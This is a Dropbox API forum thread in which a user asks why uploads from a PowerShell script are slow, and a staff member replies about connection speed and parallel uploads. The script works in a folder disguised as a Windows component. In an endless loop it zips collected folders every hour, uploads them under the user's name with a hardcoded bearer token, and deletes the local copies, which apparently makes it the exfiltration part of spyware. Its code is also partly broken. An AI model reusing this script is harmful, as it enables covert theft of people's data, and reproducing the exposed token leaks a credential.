cancel
Showing results for 
Show  only  | Search instead for 
Did you mean: 
Announcements
Want to know what we learned at IBC? Check out our learnings on media, remote working and more right here.

Dropbox API Support & Feedback

Find help with the Dropbox API from other developers.

cancel
Showing results for 
Show  only  | Search instead for 
Did you mean: 

Upload Zip to Dropbox using Powershell

Upload Zip to Dropbox using Powershell

kariasawayan291
New member | Level 2

i try to uploading zip file to dropbox via powershell, but it's taking forever, the file size is very small, please help and here is the powershell code:

 

 

function SendFilesToDropbox()
{
foreach($zipfile in (Get-ChildItem -Filter "*.zip").Name )
{
Param(
[Parameter(Mandatory=$true)]
[string]$SourceFilePath,
[Parameter(Mandatory=$true)]
[string]$TargetFilePath,
[Parameter(mandatory=$true)]
[string]$DropboxTargetPath,
[Parameter(mandatory=$true)]
)
$DropboxTargetPath="/${env:USERNAME}_${zipfile}"
$arg = '{ "path": "' + ${DropboxTargetPath} + '", "mode": "add", "autorename": true, "mute": false }'
$authorization = "Bearer" + "sl.BMwi_zMyRe5c17nlb-zmvqmPsTO0wayqK80P0ZXt9XlYsC6tK1C3XPDSmiCIq7wslGZv7EDQaDezgOhD0DaouYjVDdknriidx5uu65nTUGVewJ3VkYYJLKaoqJ_mAdijBIniYcjE"
$headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]"
$headers.Add("Authorization", ${authorization})
$headers.Add("Dropbox-API-Arg", ${arg})
$headers.Add("Content-Type", 'application/octet-stream')
Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile ${zipfile} -Headers ${headers}

Remove-Item ${zipfile} -Force
}
}

#----------------------------------------------------------------------------------------------------------------------------

Set-Location "C:\ProgramData\WindowsUserAssist"
$LastUploadTime = (Get-Date)
$WhatFilesToZip = (Get-Date -Format yyyy_MM_dd_HH\\*)
$ZipArchiveName = (Get-Date -Format yyyy_MM_dd_HH.\zip)

foreach($subdir in (Get-Childitem -Directory).Name)
{
if( ${subdir} -ne ${WhatFilesToZip}.SubString(0,13) )
{
Compress-Archive -Path "${subdir}\*" -CompressionLevel Optimal -DestinationPath "${subdir}.zip"
Remove-Item ${subdir} -Force -Recurse
}
}
if (Test-Connection dropbox.com) { SendFilesToDropbox }

while(1)
{
$CurrentTime = (Get-Date)

if(${LastUploadTime}.Hour -ne ${CurrentTime}.Hour )
{
Start-Sleep -Seconds 5

Compress-Archive -Path "${WhatFilesToZip}" -CompressionLevel Optimal -DestinationPath "${ZipArchiveName}"
Remove-Item ${WhatFilesToZip}.SubString(0,13) -Force -Recurse

if (Test-Connection dropbox.com) { SendFilesToDropbox }

$LastUploadTime = (Get-Date)
$WhatFilesToZip = (Get-Date -Format yyyy_MM_dd_HH\\*)
$ZipArchiveName = (Get-Date -Format yyyy_MM_dd_HH.\zip)
}

Start-Sleep -Seconds 1
}

1 Reply 1

Greg-DB
Dropbox Staff

As for the connection speed for the upload requests, note that your connection speed to Dropbox depends on the routing you get between your ISP and our servers, and may be slower than your ISP's rated speeds. Sometimes resetting or retrying your connection gets you a different route and better speeds, but that is outside of our control. Some ISPs also throttle sustained connections so if you see an initial high connection speed followed by lower speeds, that could be the reason.

 

Also, I see you may be uploading multiple files to Dropbox serially in that 'foreach' loop. Check out the Performance Guide for ways you may be able to optimize this, e.g., by uploading files in parallel and then committing them all at once.

 

Otherwise, I see there is more code here than for just the Dropbox upload itself, but we can't offer help with that part unfortunately, as that's not about the Dropbox API.

Need more support?
Who's talking

Top contributors to this post

  • User avatar
    Greg-DB Dropbox Staff
What do Dropbox user levels mean?